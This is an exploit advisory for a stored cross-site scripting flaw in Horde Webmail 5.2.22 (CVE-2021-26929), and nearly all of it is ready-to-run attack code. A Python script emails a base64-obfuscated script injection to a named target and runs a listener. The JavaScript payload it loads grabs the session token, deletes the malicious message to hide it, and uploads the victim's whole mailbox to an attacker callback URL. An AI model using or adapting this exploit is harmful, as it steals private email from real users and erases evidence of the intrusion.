Webmail Edition 5.2.22 XSS / Remote Code Execution

2021.04.15
Credit: nu11secur1ty
Risk: High
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Remote code execution XSS Horde_Text_Filter library Webmail Edition through 5.2.22 # Author: Alex Birnberg # Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty System Administrator - Infrastructure Engineer # Date: 04.14.2021 # Vendor: webmail # Link: https://github.com/horde/webmail/releases # CVE: CVE-2021-26929 [+] Exploit Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929 [Exploit Program Code] #!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging import smtplib import sqlite3 import hashlib import zipfile import argparse from flask import Flask, request, Response from urllib.parse import urlparse class Exploit: def __init__(self, args): # Database if not os.path.exists('database.db'): with sqlite3.connect("database.db") as conn: cursor = conn.cursor() cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);') conn.commit() # SMTP URL o = urlparse(args.smtp) self.smtp = { 'ssl': o.scheme.lower() == 'smtps', 'host': o.hostname or '127.0.0.1', 'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'), 'username': '' or o.username, 'password': '' or o.password } try: if self.smtp['ssl']: context = ssl.create_default_context() context.verify_mode = ssl.CERT_OPTIONAL context.check_hostname = False self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context) else: self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port']) except Exception as e: print(e) print('[-] Error connecting to SMTP server!') exit() try: self.server.login(self.smtp['username'], self.smtp['password']) except: pass # Callback URL o = urlparse(args.callback) self.callback = { 'url': '{}://{}'.format(o.scheme, o.netloc), 'path': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Listener URL o = urlparse(args.listener) self.listener = { 'ssl': o.scheme.lower() == 'https', 'host': o.hostname or '0.0.0.0', 'port': o.port or 80, 'horde': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Target email self.target = args.target # Subject self.subject = args.subject or 'Important Message' # Environment self.env = {} self.env['mailbox'] = args.mailbox or 'INBOX' self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path']) def trigger(self): print('[*] Waiting for emails...') self.bypass_auth() print('\n[*] Done') def bypass_auth(self): def horde(): f = open('horde.js') content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read()) f.close() return content def callback(): response = Response('') with sqlite3.connect("database.db") as conn: try: if request.files.get('mbox'): filename = request.files.get('mbox').filename.replace('zip', 'mbox') content = request.files.get('mbox').stream.read() zipdata = io.BytesIO() zipdata.write(content) content = zipfile.ZipFile(zipdata) content = content.open(filename).read() mail_hash = hashlib.sha1(content).digest().hex() print('[+] Received mailbox ({})'.format(mail_hash)) cursor = conn.cursor() cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content)) except: pass response.headers['Access-Control-Allow-Origin'] = '*' return response payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde']) payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target) # The secret services :) content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) self.server.sendmail(self.smtp['username'], self.target, content) app = Flask(__name__) app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde) app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST']) logging.getLogger('werkzeug').setLevel(logging.ERROR) cli = sys.modules['flask.cli'] cli.show_server_banner = lambda *x: None try: if self.listener['ssl']: app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem')) else: app.run(host=self.listener['host'], port=self.listener['port']) except: pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL') parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL') parser.add_argument('--listener', help='Listener URL', metavar='URL') parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL') parser.add_argument('--subject', help='Email subject', metavar='SUBJECT') parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX') args = parser.parse_args() exploit = Exploit(args) exploit.trigger() horde.js class Exploit { constructor() { this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp')); } trigger() { this.mailbox = this.get_mailbox(); this.buid = this.get_buid(); this.token = this.get_token(); this.auto_delete() .then(() => { this.exfiltrate_emails({mailbox: env.mailbox}); }); } async auto_delete() { let params = new URLSearchParams() params.append('token', this.token); params.append('view', this.mailbox); params.append('buid', this.buid); return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', { method: 'POST', body: params }) .then(() => { let params = new URLSearchParams(); params.append('token', this.token); params.append('view', this.mailbox); return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', { method: 'POST', body: params }) .then(() => { if (document.getElementById('checkmaillink') !== null) { document.getElementById('checkmaillink').click(); } }); }); } async exfiltrate_emails(args) { let mbox_list = '["' + this.get_mailbox() + '"]'; if (args.mailbox.toUpperCase() != 'INBOX') { let params = new URLSearchParams(); params.append('reload', '1'); params.append('unsub', '1'); params.append('token', this.token); let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', { method: 'POST', body: params }) .then(response => { return response.text(); }) .then(data => { return JSON.parse(data.substring(10, data.length - 2)); }); mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => { if (mailbox.l.toUpperCase() == args.mailbox) { if (mbox_list === undefined) { mbox_list = '["' + mailbox.m + '"]'; } } }); } let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/') .then(response => { return [response.blob(), response.headers.get('Content-Disposition')]; }); let filename = zip[1]; filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1); zip = await zip[0]; let formData = new FormData(); formData.append('mbox', zip, filename); fetch(window.env.callback, { method: 'POST', body: formData }); } get_token() { let link; let token; if (document.getElementsByClassName('smartmobile-logout').length > 0) { link = document.getElementsByClassName('smartmobile-logout')[0].href; } else if (document.getElementById('horde-logout') !== null) { link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href; } else { link = location.href; } if (link.match('horde_logout_token=(.*)&') !== null) { token = link.match('horde_logout_token=(.*)&')[1]; } if (token === undefined && link.match('token=(.*)&') !== null) { token = link.match('token=(.*)&')[1]; } return token; } get_mailbox() { if (window.DimpBase !== undefined) { return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({ VP_id: { equal: [ DimpBase.pp.VP_id ] } }).get('dataob').first().VP_view; } else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mailbox=([A-Za-z0-9]*)')[1]; } else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mbox=([A-Za-z0-9]*)')[1]; } } get_buid() { if (location.href.match('buid=([0-9]*)') !== null) { return location.href.match('buid=([0-9]*)')[1]; } else if (location.href.match(';([0-9]*)') !== null) { return location.href.match(';([0-9]*)')[1]; } } } const exploit = new Exploit(); exploit.trigger(); --------------------------------- # Exploit Title: remote code execution XSS Horde_Text_Filter library # Date: 04.14.2021 # Exploit Authotr idea: Alex Birnberg # Exploit Debugging: nu11secur1ty # Vendor Homepage: webmail # Software Link: https://github.com/horde/webmail/releases # Steps to Reproduce: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-26929/README.MD


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